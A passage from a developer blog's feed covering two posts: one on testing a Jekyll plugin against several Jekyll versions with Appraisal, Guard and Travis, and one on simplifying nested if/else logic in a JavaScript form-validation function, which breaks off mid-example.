&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; restrict_jekyll_version&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;more_than:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;3.0&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  describe &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Jekyll &gt; 3.0&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    it &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;should not throw any deprecation warnings&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      # Given&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      # When&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      post_file.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;metadata&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      # Expect&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;      expect&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;@logger&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;to_not&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; have_received&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:warn&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Using it with Guard&lt;/h2&gt;
&lt;p&gt;This gem is even compatible with Guard. You do not have to change anything to
your &lt;code&gt;Guardfile&lt;/code&gt;, but simply prefix your &lt;code&gt;guard&lt;/code&gt; call with &lt;code&gt;appraisal&lt;/code&gt; like for
&lt;code&gt;bundler&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here is my default config for rspec TDD:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# Guardfile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;guard &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:rspec&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;cmd:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;bundle exec rspec --color --format documentation&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  watch&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;%r{&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;^spec/.+_spec&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;rb$&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  watch&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;%r{&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;^lib/(.+)&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;&#92;.&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;rb$&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;     {&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;m&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;spec/&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;#{&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;m&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]}&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;_spec.rb&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;  watch&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;spec/spec_helper.rb&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  {&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;spec&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;notification &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;:off&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# ./scripts/watch_v2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;dirname&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$BASH_SOURCE&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;)&quot;/..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;appraisal&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; jekyll-v2&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; guard&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# ./scripts/watch_v3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;dirname&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$BASH_SOURCE&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;)&quot;/..&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;appraisal&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; jekyll-v3&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; guard&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Unfortunatly, it is not possible to run both &lt;code&gt;watch_v2&lt;/code&gt; and &lt;code&gt;watch_v3&lt;/code&gt; at the
same time, so you still have to do TDD on one version at a time.&lt;/p&gt;
&lt;h2&gt;Configuring TravisCI&lt;/h2&gt;
&lt;p&gt;Appraisal is also &lt;a href=&quot;https://travis-ci.org/&quot;&gt;Travis&lt;/a&gt;-compliant out of the box. Just run
&lt;code&gt;appraisal generate --travis&lt;/code&gt; to get the config you need to add to your
&lt;code&gt;.travis.yml&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;This will simply output the matrix of &lt;code&gt;Gemfile&lt;/code&gt;s to use. In my case it was
nothing more than:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ruby&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;gemfile:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  -&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; gemfiles&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;jekyll_v2.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;gemfile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  -&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; gemfiles&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;jekyll_v3.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;gemfile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;It took me way more time to configure the testing environment for multiple
Jekyll version than &amp;quot;fixing&amp;quot; the initial bug. But in the end I&#39;m now sure I
won&#39;t cause any regression in one version when I fix a bug in another.&lt;/p&gt;
&lt;p&gt;Everything is &lt;a href=&quot;https://travis-ci.org/algolia/algoliasearch-jekyll&quot;&gt;tested on Travis&lt;/a&gt; on all supported Jekyll and Ruby versions.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Cleaner code</title>
    <link href="https://blog.pixelastic.com/2015/12/29/cleaner-code/"/>
    <updated>2015-12-29T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2015/12/29/cleaner-code</id>
    <content type="html">&lt;p&gt;In a previous job, I did a lot of code reviews with a team of more junior
developers. My job was to help them write better, more readable and more
maintainable code. There was something that came back really often in my
reviews: simplifying the &lt;code&gt;if&lt;/code&gt; flow.&lt;/p&gt;
&lt;p&gt;I&#39;ll give you a code example, along with the modifications I suggested to it.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note that the code is not the real code of the app, but one crafted for the
needs of this blog post.&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;The original code&lt;/h2&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; isFormValid&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;age&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 50&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;M&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firstName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;lastName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;F&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firstName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;lastName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;maidenName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What does it do? It is a (simplified) form validation method. Given an &lt;code&gt;age&lt;/code&gt;,
&lt;code&gt;gender&lt;/code&gt;, &lt;code&gt;firstName&lt;/code&gt;, &lt;code&gt;lastName&lt;/code&gt; and possibly &lt;code&gt;maidenName&lt;/code&gt;, it checks if the
form is valid.&lt;/p&gt;
&lt;p&gt;The rules are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;firstName&lt;/code&gt; and &lt;code&gt;lastName&lt;/code&gt; are mandatory fields.&lt;/li&gt;
&lt;li&gt;If you&#39;re a woman, &lt;code&gt;maidenName&lt;/code&gt; is then also mandatory.&lt;/li&gt;
&lt;li&gt;The form is always valid if you&#39;re older than 50.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As it is currently written, the code works, but it is very verbose and not
straightforward. Let&#39;s rewrite it.&lt;/p&gt;
&lt;h2&gt;Remove useless &lt;code&gt;else&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The more branching a code has, the more difficult it is to visualize in your
mind. Bugs will sneak in more easily in a code that is hard to understand. As
the saying goes: &lt;em&gt;the less code you have, the less bugs you can have&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The first step I usually take is to remove all the cruft. The &lt;code&gt;else&lt;/code&gt;s in this
code are useless. Every preceding &lt;code&gt;if&lt;/code&gt; does a &lt;code&gt;return&lt;/code&gt;, so if the code goes
inside that branching, the whole method would stop. The &lt;code&gt;else&lt;/code&gt; is then useless
and only adds noise.&lt;/p&gt;
&lt;p&gt;Let&#39;s rewrite the method:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; isFormValid&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;age&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 50&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;M&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firstName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;lastName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;gender&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;F&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;firstName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;lastName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; inputs&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;maidenName&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; !==&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span 